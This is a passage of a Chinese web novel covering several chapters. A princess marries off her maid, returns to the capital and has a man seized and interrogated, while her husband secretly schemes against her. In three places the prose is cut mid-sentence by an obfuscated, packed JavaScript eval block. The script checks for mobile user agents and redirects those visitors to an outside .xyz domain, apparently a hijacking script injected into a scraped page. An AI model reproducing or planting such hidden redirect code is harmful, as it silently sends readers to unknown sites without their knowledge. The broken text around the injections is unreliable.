谢随靠坐在床榻上温声道,用手指指墙上挂着的金鱼风筝。那还是过年前逛庙会时随手买的,一直挂在墙上落灰。 冯妙瑜懒洋洋揉揉眼睛,的确有些日子没有出过门了,似乎有些辜负春光,出去玩玩也好,她想着点了点头,撑着床榻准备起身。 “好啊,帮我拿下衣裳。” 她的外衣放在谢随手边的架子上,他拿更方便些。谢随探身拿过衣裳,扭头,目光却微微一怔。 人睡觉的时候翻来翻去,起来时那衣裳难免会松散些。何况绸子的衣裳又是那样的服帖顺滑。柳叶的青色随着冯妙瑜起身的动作落下肩头,长发凌乱披散,底下一截精致的锁骨隐约可见,圆润曼妙的线条,如丝绸般,却又不似丝绸光滑冰冷,他突然觉得口干舌燥。 想来他们许久未曾亲近过了。 这之前主要是考虑到她的身子不好,不宜运动。但眼下已经好几个月过去,想来应该不要紧了吧? 冯妙瑜见谢随拿着她的衣裳久久不语,伸手在他眼前晃晃,奇怪道:“给我呀,不是说要去看芸薹花吗?” 谢随低低嗯了一声,却把冯妙瑜的衣裳往旁一扔,手指试探地爬上了冯妙瑜的腰侧。滚烫的温度隔着一层轻薄的绸子传来,冯妙瑜轻轻颤了下,抬眼,他的眼神也是试探的,像是映着火苗,烫的叫人浑身燥热,不敢直视。 冯妙瑜羞赧微微别过脸,却也不拒绝,其实她也有点想他的,毕竟这么长时间了……但嘴上还是说:“那芸薹花怎么办,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011974|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定来不及的。” “我快点就是。” 谢随笑笑低头细吻过冯妙瑜的侧脸,手指攀上她的衣带,修长食指伸进去,挑开,声音嘶哑的要命,“何况那花要开上大半个月,我们明日一早再去看也无妨。” 冯妙瑜被他逗笑了,他解完了她的又火急火燎地扯自己的,冯妙瑜按住他的手,帮他解开了衣物。 谢随随手扯下了床畔的幕帘。 他方才分明一副饿死鬼投胎模样,眼下却不着急了,好整以暇地等待着她适应。冯妙瑜被他逗得有些招架不住,眯着眼没好气的出言催他,只是临门一脚,谢随却又犹豫了。 “真的不要紧吧?” 冯妙瑜轻轻啧一声,气得用指甲挠他。哪有这样的。 “那若是有不舒服的你要和我说。” 谢随确实也忍耐到了极限,温柔地咬了咬她的唇瓣,幕帘微动—— 屋门突然被人砰的一声给推开了。 紧要关头,两人都吓得一哆嗦。尤其是谢随。 回过神,谢随忙抓起被子挡在冯妙瑜身上,脸色难看极了。 “谁啊?怎么进来也不知道提前通传一声,规矩呢?”谢随冷声斥责道。 “啊?老,老爷赎罪,奴婢不是故意的。” 是个稚嫩的声音,大抵是前些日子谢随新采买进来的小丫鬟。那小丫鬟慌慌张张告了罪,又匆忙道:“不是,奴婢不是故意闯进来的,奴婢是有事要说,是后院里出事了!” 这整座宅院明里暗里好几十号人轮流看守着的,供下人居住的后院自然也不例外,光天化日的,能出什么事? 冯妙瑜匆匆穿好了衣裳,见谢随依旧沉着脸,他难得这样吃瘪,冯妙瑜觉得十分有趣,于是戳戳他的脸,催他穿衣裳,自己则唱起了白脸。心情莫名很好。 “后院出事?出什么事情了,你不要着急,慢慢说。” 那小丫头缓了口气,“后院有人打起来了。” “这点事情你找阿玉姑娘或路安就是,不必报到这里来。”谢随没好气说。 后院那么多人,偶尔因为鸡毛蒜皮小事起争执也是有的。要是连这这点小事都要来找他或冯妙瑜,不得忙死了。 “可是后院里打起来就是阿玉姑娘和路安啊……”小丫鬟欲哭无泪。 “你说阿玉姑娘和路安打起来了?”谢随一愣。 “是啊,好像还有人受了伤。不过奴婢离得远,没有看清楚到底是谁伤着了。” 冯妙瑜眨了眨眼睛,面色有些古怪,她突然想起了前几日阿玉问她的那几个问题。 她心里有种不好的预感。 但这完全是阿玉那个木头能干的出来但事情。 冯妙瑜扶额叹了口气,扯扯谢随的衣袖,“走吧,我们过去看看。” 说完,她又吩咐那个小丫鬟,“快去叫个郎中过来,”想了想,她补充道:“记得让他带块白布来。” 至于到时候是用药还是直接白布盖上,就全看路安的命了。 55. 55 等冯妙瑜和谢随两人赶到后院,分开人群,后院的情况远比冯妙瑜预想的好。 冯妙瑜把那些个围观凑热闹的小厮小丫鬟统统赶回去,又叫来两个侍卫架着路安进了屋。也不知道是阿玉手下留情了,还是路安的确是个命硬的,竟没有闹出人命来。不幸中的万幸了。 郎中出来后摇了摇头,只说路安运气好没伤到骨头,但也要在床上好好休养上小半个月,冯妙瑜松了口气,过去安慰路安两句,转身对垂头站在门边探头的阿玉使了个眼色。无论如何,她都有必要和阿玉谈一谈了。 “夫人。” 阿玉前脚刚刚出去,冯妙瑜还没有走到门口,路安突然挣扎着撑起身子叫住她,一脸焦急,又嗫嚅着,迟疑着,似是不知道该如何开这个口。 “这件事是我有错在先……都怪我先前唐突了阿玉姑娘。都是我的错,还求夫人不要责怪阿玉姑娘。您要责怪要罚也该怪我,罚我。” 路安和阿玉素日分工不同,两人之间应该没什么往来独处的机会,除了除夕那日……瞧他那欲言又止的模样,她还没说什么呢就赶着上来替罪了,冯妙瑜如今在这事上也算是过来人,心里大抵有了数。 一对小鸳鸯嘛。一个愿打一个愿挨的。 那就没事了。 “只是叫她问两句话,你不用担心,且好好歇着养伤,一会我叫她过来看你。”冯妙瑜笑眯眯地说,给路安吃了记定心药丸。 西耳房里,阿玉见冯妙瑜进来,便一撩衣裙跪在了地上。垂着眼,一言不发,一副引颈受戮模样。她虽说是宫里出来见过大世面的人,但终究是奴婢,贱籍出身。路安虽说父母双亡,早早就出来给人家做小厮看家糊口,但他是正儿八经的良民。良贱有别。何况宫里的人,从头到脚都是主子的东西,婚丧嫁娶也是主子一句话的事情,哪里有自己做主的份儿。 这是逾矩—— 做了主子的主了。 何德何能,胆子大的包了天了。 阿玉干脆利索俯首磕了三下头,她深深吸了口气,像是下定了决心,抬头看着冯妙瑜。 “这都是奴婢的错,不关路安的事情。他是个好人,他什么都不知道,是奴婢执意要缠着他的。要罚,您也该罚奴婢一人。” 冯妙瑜端茶盏的手微微一顿。哭笑不得。这两人!好像她是那话本子里棒打鸳鸯的恶婆子似的。早知道今天有这出,今早梳妆时就该在唇角上点颗大媒婆痣,再在鬓边戴上多大粉花,好应应景。 转念又见阿玉一脸视死如归的模样,冯妙瑜突然就起了几分玩心。 于是板起脸,茶盏往桌上一拍。 “你也知道你做得不对?阿玉,你是从宫里面出来的,阖府上下,就属你最懂规矩,最守规矩。如今怎么带头犯禁,做出私相授受这样的事情来?你可——知罪?” 声音冰冷森严,嘴角不住地抽搐。 不是生气,主要是因为必须要憋着笑。只是这笑实在不是她能忍住的。 “奴婢回去就自个领罚。不论您怎么责罚,奴婢绝无半句怨言。只是一件事,还请您一定要放过路安。奴婢求您了。”阿玉又一次俯身叩首。 “路安那边我可以放他一马,至于你——” 冯妙瑜刻意拖长了调子,她垂眼看着阿玉脑袋上轻颤的金步摇,桃花蝴蝶,冯妙瑜在心里轻轻摇头。这傻姑娘长大了,怎么还是木呆呆的,真是拿她没办法。 “你最近不必来我这当差了,”冯妙瑜恶声恶气道:“从今日起,我罚你——去照顾路安,照顾到他痊愈为止。” 阿玉猛地抬起头。她是抱着挨罚丢脸的心思跪在这里的,这,这怎么和她想的不一样? “然后,就在这个月内,我要喝到你们两人的喜酒。”冯妙瑜说,“喝不到喜酒,到时候你们两个给我一起挨罚。” “可,可是,”阿玉一下子泄了气,瘫坐在地上,眨了眨眼睛又茫然道:“可奴婢怎么可能和路安摆喜酒的?他是良民,奴婢是贱籍出身,良贱不婚,何况奴婢是不能离开盛京的……” “户籍的事情你不用管,你只管去陪着路安。” 阿玉的籍还是挂在宫里的,良贱不婚是规矩——那给她凭空弄一个良家的户籍就是了,冯妙瑜盘算着,就算日后有人知道了,反正有她护着,看有谁敢说什么。 “至于盛京那边,到时候你和路安好好说说,让他跟着我们一起回盛京就是了。” 冯妙瑜挑挑眉,见阿玉还坐在地上,催促道:“你坐在这里干什么,还不快去?” 毕竟路安早一日好起来,这喝喜酒的日子就早一天。冯妙瑜又笑着补充道:“到时候要让我做你们的主婚人!” 民间婚礼远没有皇家的繁琐。何况路安家中无长辈,阿玉自记事起就入了宫,连父母姓甚名谁都不知道,想大办也办不起来。不过扯上几匹大红的料子,做两身红衣,两双红鞋,剩下的折成大红绣球,再有剩下的,也不能浪费了,裁裁剪剪,就成了新娘子鬓边一朵红花。 冯妙瑜抬手拿起红花,别在阿玉鬓边。 不知是这大红的颜色衬人,还是喜气衬人,乌发雪肤,新娘子当真是漂亮极了的。 阿玉却惶恐,摸了摸鬓边的红花,低声道:“公……夫人您怎么能做这个!” “这有什么。今日是你成亲的日子,新娘子最大。” 冯妙瑜伸手拍拍阿玉的肩,示意她不必起身,很快另外两个来帮阿玉梳妆打扮的小丫鬟上来帮阿玉绞面搽粉涂胭脂。 路安在临江并无居所,冯妙瑜想小夫妻两挤在后罩房里不合适,便吩咐人收拾了倒座房给两人用。左右还是住在这宅子里,倒省去了迎亲接亲的步骤。到了时辰,新娘子穿嫁衣坐轿子绕着巷子转一圈再回来就是。有头有尾,首尾相接,也是圆圆满满。 前脚送阿玉的喜轿出了门,后脚谢随便领着新郎官过来在门口候着了,路安是这两日才知晓冯妙瑜身份的,拘谨地行了个礼,头也不敢抬。就直直站在门口处。 谢随把人带到也不管他了,忙着在一旁和冯妙瑜悄悄咬耳朵说说笑笑。 正说着,一个负责接亲的小厮匆匆跑过来,喘着粗气,看着冯妙瑜。 “阿玉姑娘的花轿快走到巷子口了,谁知道前面有一队今日出殡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024424|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们这的人讲究丧不冲喜,我们的人上去说了,可出殡的那家人怎么说也不愿绕路。夫人,这可怎么办?接亲是不能走回头路的呀,可要撞上,多少有些不吉利了。” 大抵平常人家嫁娶礼仪这些事多是女主人操心,所以那小厮才会问冯妙瑜。但冯妙瑜哪里懂这些个。毕竟她平日出行都有仪仗在前开路,哪里会碰上这种情况。冯妙瑜于是看向谢随。 “这有什么,撞上就撞上了。见官(棺)见财(材),紫气东来。” 谢随说,转脸吩咐人拿了碎银给阿玉送去,又吩咐人去拿红布往路中间铺,以喜压丧。 悲戚戚的哭喊声里,漫天纸花,出殡的队伍自院门前拖拖拉拉走过,没多久,大红的喜轿又带着欢欢喜喜的吹打声过来了,一白一红,生与死,喜与丧,爱与悲,圈圈圆圆,是个轮回了。 倒座房内张灯结彩,珠帘绣幕,大红绣球底下,一对红烛静静燃烧。 且任司仪的是个随行的年轻侍卫,声音又清又亮,是出了名的好嗓子。 “一拜天地。” 两个穿红衣的人相扶着拜了天地。 “二拜高堂。” 两人又拜向座上的冯妙瑜和谢随,冯妙瑜悄悄摸了摸自己的脸。坐在这个位子上接受新人跪拜,总有种德高望重长辈的感觉……可路安和阿玉跟她其实差不多年纪,甚至她的年纪还要更小些。 “夫妻对拜。” 待夫妻对拜完毕起身,冯妙瑜和谢随便道:“花黄片落,濡袜生尘,透迤南国,婀娜东邻,飞愿双翥,处同一身。夫妻相对,二若鸳鸯。今日结亲以后,恒愿鸾凤同鸣。盖闻夫妇之道,禀二仪以为姻;情重移天,结三世而作案。恩深似海,伉俪族贵。宠荫长新,和如琴瑟。”① 待两人念完祝词,这婚礼就算成了,又说几句吉利话,冯妙瑜便和谢随一道去院子里喝喜酒。 此次随行的侍卫里有不少素日和阿玉相熟的,都是习武之人,时有切磋指点,见新郎官红光满面的出来应酬,纷纷摩拳擦掌,含蓄些的好歹还端个大海碗上去敬酒,那直白的就直接拎着两个酒坛子上去,冯妙瑜看了直摇头,真是苦了路安这孩子了。 好在没一刻阿玉就出来拽着新郎官入洞房了,在场没人打得过她,不然路安还不知道得被那群酒坛子灌成什么样子。 天色也不早了。 谢随伸手盖住冯妙瑜的酒杯。 “我们也该回屋了——你看我们在这里他们都放不开,玩的不尽兴。” 冯妙瑜斜他一眼。 这是醉翁之意不在酒了,院里的人都醉到乱唱乱跳还说什么放不开——他想什么她还不清楚吗。那日亲近被打断后,恰好到她的小日子,再之后她又忙着阿玉的户籍和婚事,没功夫理他……他当真是忍了许久的。 “走吧。”过了好久,冯妙瑜才似笑非笑地回到。 清闲又荒唐的日子总是过的飞快。 雨水过后,又淅淅沥沥下起雨来,水珠顺着屋檐落下,一滴又一滴,不得不回盛京的日子随之而来。 真是愁得很。 冯妙瑜长长叹了口气。 56. 56 环视一周。 年后谢随便去信买下了这间宅子,不过数月功夫,原本空荡荡只有几样家什的屋子里如今堆满了大小物品,全是回忆,屏风上挂着那只莲花花灯是除夕夜时谢随送她的,铜镜旁那盆玉石水仙是两人乔装打扮从临江城南角那颗老槐树下的鬼市淘来的,妆奁边上散落着两人昨晚画了一半的丝绸扇子……低头,又是一声叹息,就连她手上这枚镶蓝宝石的金戒指都是某日谢随亲手打了送给她的。 戒指圈底下刻了“平安喜乐”四个字。小小的,歪歪扭扭,字不像字,前状元郎的书法文章皆是一绝,雕工就不敢恭维了。傻乎乎的。 只是这戒指能带走,这样的日子却是怎么也带不走的。真是不想回盛京去。 但这也只能是在心里想想。 开春了,谢随得去门下省的新衙门应卯当差,而她—— 冯妙瑜又看了遍手里的信。那是颜先生差人送来的秘信。送信的是个机灵的小子,因颜先生交代了这信只能由冯妙瑜亲启,他便硬是等到谢随出门才将信送到冯妙瑜手上。薄薄的纸,上面其实寥寥写了两句话,只说冯妙瑜前些日子要他查的事情已有了眉目,事情要紧,请冯妙瑜尽快回京。 她近来委托颜先生调查的,还能称之为紧急的事情,想来也只有调查那股既不属于世家,又不属于寒门的势力的事情了。 像这样要紧的事情颜先生自然不敢在信里明着写出来,只能等回盛京见到颜先生才能知道具体情况了。 冯妙瑜拿了蜡烛过来,看着那张纸一点一点蜷缩焦黑,她把纸灰倒进花盆里,又用脚踩了两下,直到那纸灰完全压到了泥里看不出来,冯妙瑜才坐下来给颜先生写了封回信,也不说别的,只是告知颜先生她回到盛京的时间。 吹干墨迹,冯妙瑜将信封好,又叫来一个小厮快马将信送去。 小雨时节,东风解冻,冰雪皆散而为水,化而为雨。① 回盛京那日的一路上都飘着毛毛细雨,沿途的柳树、杏树、梨树轻轻挥舞着枝条,像是在告别,又像是在说欢迎回来。蒙蒙雨幕中,盛京那以黑石砌成的高大城墙总算映入眼帘。 又回来了。 因道路泥泞,马车便在路上耽搁了些时间,谢随赶着去门下省衙门应卯,没有入府门,只在门口和冯妙瑜道别两句便匆匆上衙门去了。 “公主。” 许久未见的榴红就在门口处等着,她有些奇怪地望了眼冯妙瑜身后梳了妇人发髻的阿玉,微微屈身在冯妙瑜耳边道:“颜先生正在花厅等您。” 热腾腾的姜枣茶驱散了身上的寒意,花厅里,冯妙瑜揉揉眉心,有些疲倦,还是打起精神细细听颜先生说话。 “……结果一查之下,倒是有了些眉目。公主,您可还记得去年秋天时,有人匿名送来一封写有献亲王殿下一案证据的信?” 大半年过去,时间有些久远。冯妙瑜想了一会才点了点头,“是有这么个事。” “老夫下去命人挨家挨户的细细查问,总算揪出了那日送信的人,顺藤摸瓜,接着又找到了当日指示他送信之人,按照您的吩咐,老夫不敢打草惊蛇,只是叫人偷偷盯着。” “哦?指示他送信的是什么人,”冯妙瑜目光沉了沉,有些冰冷,“那人可与蛮族有来往?” “是个叫盛三的闲汉,平日除了帮人跑跑腿,打听打听消息,其余时间都在平康坊里泡着,不是赌钱就是喝酒。虽说欠着些小债,但他和蛮族还远远扯不上关系。”颜先生摇摇头,很小心地看冯妙瑜一眼,补充道:“但是此人和许家有千丝万缕的关系,他原是许家的家生子。” “许家,你说的是哪个许家?” 冯妙瑜一愣。 “兰溪许家。”颜先生轻轻答。 “而且这个叫盛三的人似乎对许家颇为忠心。这么多年过去了,每年上元节他都会到许家的旧宅里烧纸祭拜。” 沉默良久。 此事既与蛮族无关,冯妙瑜靠在椅背上出神地想,可兰溪许家已经是许多年前的事情了,从耄耋老人到三岁幼童无一幸免。若说幕后之人是许家故旧,那应该恨死她了才是,怎么会送情报予她?说不通。那难道是有人假借许家的名义行事?可他们为什么要这样做,费这么大的功夫下这样一盘棋,借着一个已经不存在的家族的名头行事,他们的目的又是什么? 越想越乱,百思不得其解。 “那这个盛三现在在何处?”冯妙瑜抬头问。 解铃还须系铃人,与其这样埋头苦想,倒不如把那个叫盛三的人弄过来盘问一番……实在不行就动刑,刑罚有千千万万种,总能撬出来点东西的。 老练的猎手会相信自己的嗅觉,这是猎手的本能,一个老道的政客也会相信自己的直觉,深思也许会被干扰,但直觉不会。她心里就有这样一种隐隐的直觉——顺着这个叫盛三的人往下查,一定能查出来些相当了不得的东西。 “这个时辰,”颜先生望望窗外,细雨绵绵愁不断,“他应该在平康坊的酒馆里准备喝酒呢。” “你即刻去安排几个人,”冯妙瑜想了想,压低了声音说,“那个盛三不是欠债吗,就让我们的人假扮成前去讨债的人,尽量不要引起旁人的注意,悄悄把他弄到府里来。我有些事情要问他。” —— 马车经过永兴坊,缓缓停在了延禧门门外。马车只能走到这里,穿过延禧门就到宫城了,谢随下了马车,一柄淡黄的油纸伞自他斜后探出,轻轻展开。 京城官员办公的衙门基本都设在皇城里,只有中书和门下两省的衙门设在宫城里,就在天子办公起居的太极殿南侧,天子脚下,这是这个国家真正的权力中枢。国之命脉,汇聚于此,又被踩之脚下。入朝不趋、赞拜不名、剑履上殿……青史留名也好,千古骂名也罢,古往今来,所有的名臣贤臣奸臣佞臣,皆曾是庑殿金顶下抬头仰望龙宫玉阙的少年人。 斜风细雨,是权势的味道。纸醉金迷,叫人欲罢不能。 谢随深深吸了两口气,肃容,仔细正了衣冠,方才小步迈进延禧门。 今日是谢随入门下省的第一天。 其实左迁也好,右迁也罢,每到一个新衙门任职的头几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030140|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天都是差不多的流程。初来乍到,没什么要紧的事,不过拜见长官,熟悉熟悉衙门和同僚,再看看自己日后要负责的事务,熬到了下值的点便可拍拍屁股走人了。 新官上任,无事一身轻。 午后天便放晴了,空气清爽,车夫见天色尚早,便殷勤道:“谢大人,您是直接回府,还是要顺道去哪里逛一圈?” “那就去开明坊逛逛吧。”谢随说。 毕竟把夏宵一个人扔在盛京这么久,他是个跑江湖的情报通,不是文官,也不是读书人,并不擅长处理文书案牍,这段时间他该急坏了吧?得去看看才是。谢随想。 夏宵确实着急。急死了。 没头苍蝇一样在屋里转了一圈又一圈,一会抱头蹲在角落拿脑袋蹭墙,一会又抱着个紫檀木的笔架喃喃自语,而笔架只是一味沉默,没有回应他——这是好事。 他正哭丧着脸嘀嘀咕咕,忽闻门口铃声响起,扭头看到谢随,夏宵如终日望夫总算盼得夫归的孤石,丢开手里的笔架。泪眼汪汪。 “你可算回来了!” 惊喜,兴奋,睁大的双眼,脸上洋溢着大大的笑容——还带着点心虚。 那是看到救世主时的表情。 “知道我有多想你吗,安之,你来的可太是时候了!” 夏宵捏着手指,眨了眨眼睛,实在不好意思开口。 “那个啊,其实是这样的。我好像犯了个错误。闯祸了。” “嗯?” 见谢随脸色不好看,夏宵连忙拇指食指相扣,哒哒哒地比划着,眼神游移不定,“也不是什么大祸啦,就是个小小的小麻烦——” “我手底下有个人突然找不见了,你可能也认识的。他原是许家的一个忠仆,叫盛三的。” 谢随有种不妙的预感。 一盏茶后。 “你是说,这个叫盛三的人认识你。”谢随的手指敲了下桌面,“然后这个人还知道送情报给妙瑜的人是你,”谢随的手指又连着敲了好几下,“最后,这个人很有可能知道我和许家的关系,还一大早就被公主的人给带走了?” “我上次和他喝酒时无意提了两句你的事情,也不知道他还记不记得。不过他这个人还是挺靠谱的,对许家绝对是忠心耿耿,也不一定会把咱们的事情抖出去……”大概是心虚,越说,夏宵的声音越小,到最后,几乎小的听不见了。 谢随只觉得头疼。 忠心耿耿? 逢年过节给老东家上个香烧个纸,表表忠心容易,真到了五刑加身的时候,能不能管住嘴那可就不好说了。 若是妙瑜知道了他和许家的关系,以她的聪明……抛去阵营立场,他是欣赏她的,但是这个时候他却宁愿她没有那么聪慧敏锐。谢随匆匆起身,连袖袍带倒茶盏,热茶烫伤了自己都没注意到。 “哎,安之,你这是去哪?” 谢随压下心中的急躁,大步离开。夏宵闯祸这账日后再算也不急,有的是时间,眼下最要紧的是要处理了那个叫盛三的。 冯妙瑜绝对不能知道他和许家的事情。 57. 57 “他开口了?” 日头渐渐西斜,就这样干等着结果也实在无聊,午膳后,冯妙瑜便和颜先生两人窝在后花园偏院的东耳房里玩起了簸钱。铜钱在手心叮铃哐啷晃动的声音稍稍盖住了西耳房时有时无的咒骂声,见侍卫进来,冯妙瑜转头问了句,把手中的银钱掷于桌上,又用手一一摊平。 “六个正面,三个反面,颜先生,这次又是我赢了。” “还没有,那个人的嘴硬得很……属下等实在无能。”那侍卫单膝跪下道。 “起来吧。”冯妙瑜说。 她哪能怪得他们?这是预想中的困难。 毕竟上午盛三一见到她就红了眼,新仇旧恨,咬牙切齿,一副恨不得生啖其肉,饮血寝皮的模样,哪里是那么好说话的。何况这动刑是有讲究的,先轻后重,眼下还没有上大刑……要说盛三这个人也是很聪明的,他猜到冯妙瑜想从他嘴里套情报出来,没问出东西前,底下的人断断不敢冒险上大刑。不过是鞭笞恐吓——还不敢用力那种,咬咬牙,也就扛过去了。能多活一日是一日。若开了口,那才是真的断了自己的生路。 “阿玉怎么说?”冯妙瑜问。 毕竟在这方面阿玉才是行家,盛三没开口阿玉就叫侍卫来找她,想来是有话要说。 “阿玉姑娘说这样下去没什么用。对付这种嘴硬的得直接上大刑……” 他还没有说完就被冯妙瑜打断。 “不能上大刑。那是最后的办法,还有其他的法子吗?”冯妙瑜问。 她费功夫抓盛三过来为的是打听情报,又不是为了折磨人。那大刑一上,轻则终生残疾,一个不好,人没熬住就死了,死人可不会说话,这不是得不偿失吗。 “阿玉姑娘说若是不能上大刑那就只能慢慢耗着了,冻饿烤晒,阿玉姑娘说先饿他个三五天看看,他坚持不住,也许就愿意开口了。” 冯妙瑜和颜先生对视一眼。 谢随回府后先去了正屋和花厅,见冯妙瑜不在屋里,底下的小丫头也不知道她去了哪里,只说公主人还在府里,他心里便大概有数了。 想来盛三还没有开口。 但他开口那是迟早的事情。 要处理盛三,必须先知道他人被关在哪里。长公主府这样大,兴许还有他不知道的暗室暗道,不可能一间一间挨着找过去,时间不够,也太惹眼……要怎么才能找到关盛三的地方?谢随一面想着,一面抬腿出了院子,抬头,却见路安一个人在不远处发呆。 冯妙瑜念及阿玉新婚,给他们两个都放了假的,怎么路安一个人坐在这里?孤零零的。阿玉是冯妙瑜的暗卫……路安也许是个突破口。 “路安。” 谢随笑着叫住他。 “这个天气,你怎么一个人在这里坐着?阿玉姑娘呢?” 路安见谢随过来,忙站起身行礼,手忙脚乱,一时间都不知道眼睛该往哪里放。 在临江的时候只听阿玉说时还没什么感觉,直到踏进了长公主府,朱门绣户,阆苑瑶台,他才真正意识到那所谓的夫人和老爷身份有多贵重,一个是公主,一个是朝廷命官,都是大人物。是那种他一介平民老百姓原本一辈子都见不着一面的人物。诚惶诚恐。 “坐坐坐,”谢随说,“你那么紧张做什么?” 他本就生的清隽,温文儒雅,一张容易让人放下防备坦诚相待的脸,此刻又笑的如此温和近人,路安被他拍了拍肩膀,只觉得整个人好像要化在那双含笑的眼睛里了,像是受了蛊惑般,路安依言坐了回去。 “还适应这里的生活吗?突然换了地方很辛苦吧,你有什么问题可以来问我,我会帮你的。”谢随温声关切道。 如沐春风。 “能住进这么好的地方,我想都不敢想,哪里说得上辛苦,”路安连忙摆手,沉默了好一会,他试探性地看着谢随,“只是……” “谢大人您知道阿玉姑娘在公主身边是做什么的吗?” “我没有别的意思,也绝不是说公主坏话。只是,只是阿玉今天怪怪的。她早上突然就被公主叫过去了,直到吃午饭的时候才回来,衣袖上还沾了血。我问她出什么事了,她却什么都不肯和我说,也不让我跟着她一起去,我实在担心……她是不是在做什么危险的事情?” 有时候什么都不知道也是种幸福。 谢随笑了两声。 “阿玉姑娘是公主的贴身丫鬟,能做什么危险的事情?至于衣袖上沾了血,”谢随摇摇头,“你可有仔细看?” 路安被谢随问住了。 “这……我倒还真没有细看。” “我估计就是沾到了胭脂或者书画用的颜料,你这是关心则乱了。”谢随笃定道。 也许真是他多心了?路安想。他只是无意间瞥了一眼而已,吃个午饭的功夫,在厨房里吃午饭的又不止他们夫妻两。有那么多人在,他也不可能拉起阿玉的手仔细看。经谢随这么一说,他倒是怀疑起自己的眼睛来了。 “对了,你知道公主现在在哪里吗?我这会正好要去找公主,你要是实在放不下心,我可以顺路帮你去看看她们在做什么。”谢随十分贴心建议道。 侍卫前来通传说姑爷过来了的时候,冯妙瑜正准备起身送颜先生回去,乍闻谢随过来,她有些惊讶。这地方在长公主府后花园深处,四周林木环绕,很是偏僻,谢随怎么会找到这里来,心里虽然疑惑,但冯妙瑜还是命侍卫放行。 颜先生笑眯眯地看着她,摸了摸胡子,道:“看来公主要老夫草拟的那份的和离书暂时是用不着了?” “当时不觉得,眼下却觉得您那日对我说的话十分有道理。”冯妙瑜想了想说。 在感情上面,也许的确是她过分苛求了吧。真心里就算掺着些砂砾,到底还是一颗真心。既然他的目的已经达到了,她早该没有了利用的价值才是。若他对她没有丝毫感情,那放任她去死就好,又何必救她,哄着她,宠着她?一阵东风吹来,杏树梢头微颤,细细的枝条上已打满了花苞,这是花信风,杏花很快就会开满院子了吧。她的心蓦地也跟着柔软下来。 不是再给他一次机会,而是再给自己一次机会。 “公主您自个能想开那就是最好的。那老夫就不打扰您二位了。”颜先生拱拱手,也不要冯妙瑜送,自己一颠一颠的从小门溜达出去了。 “你怎么找到这里来了?”冯妙瑜揉揉后腰,坐了大半日的马车,又和颜先生窝在这里等了整整一下午,她的腰背酸困的要命。 谢随今天穿了一身绯色常服,腰配金带鱼符,五品大员的服制,因为风大,外面还罩着件黑色的披袄,格外的英俊,她看着谢随,看着看着,嘴角的笑意再也压不住了。 谢随也随着她松了嘴角,轻快地笑起来。 “来看看忙完了没有。到晚膳的时间了,”谢随说,“找你一起用晚膳,顺便替路安过来看一眼他的阿玉。” 他拉着冯妙瑜的手往外走,院外侍卫林立,一边走,一边和她说了方才遇到路安的事情。 冯妙瑜捂着额头。她都忘了阿玉已经成亲这回事了,有了家室到底是不一样了,看来以后得多注意些了。 两人用过晚膳后天色便不早了,冯妙瑜正准备去洗漱更衣,却见谢随弯着腰在屋里四处翻找。 “你在找什么东西?”冯妙瑜走过去问。 谢随在桌子上找了一圈,又拉开椅子伸头往桌子底下瞅,声音隔着桌子含糊不清,“我的鱼符不见了。” “你的鱼符不见了?”冯妙瑜吓了一跳。 铜鱼符是本朝五品以上官员才能佩戴之物,分左右两符,左符藏于宫内以备勘验,右符由官员本人所持,上面刻有官职和姓名,既是官员身份的象征,也是官员出入宫门时的通行证,弄丢了可是件麻烦事。 “你可记得落在哪里了?我来帮你一起找吧。”冯妙瑜说。 “没事,你去洗漱早点歇息吧,累了一天了,”谢随从桌子底下出来,“屋里没找到。我估计是掉在外面了,我下午去找你的时候还在的,有可能掉在偏院了。” “那我叫偏院侍卫帮你找。” 谢随却拉住冯妙瑜。 “不用,还是我自己去找吧。你的侍卫也是宫里的人,我才上任第一天就弄丢了鱼符,这件事情传出去不好。多没面子。” “那好吧。你路上小心点,后花园里有好多石子路,早上下了雨,地上滑。”冯妙瑜就说。 “我知道了。” 谢随从衣架上拿起短袄披上,待冯妙瑜转身去了隔间沐浴,他拿起风灯,轻手轻脚地打开小机上黄花梨的双层食盒,从里面摸了一把糖炒花生包在帕子里,又将帕子藏于袖中。 等冯妙瑜沐浴出来时,谢随已经找到鱼符回来了。 也许是因为白日里又提到了许家的事情,一闭上眼,盛三那双猩红如同发狂野兽般的眼睛就死死盯着她,森白的牙齿咯吱咯吱来回摩擦,身体明明已经疲倦的不行,却怎么也睡不着。 谢随轻柔的呼吸洒在耳畔,冯妙瑜从他怀里微微抬头看着谢随的下巴。她倒是无所谓,只是谢随明日一早还要早起应卯,她不想吵醒谢随,拂开他的胳膊挪了挪身,动作轻缓。可还是吵醒了他。 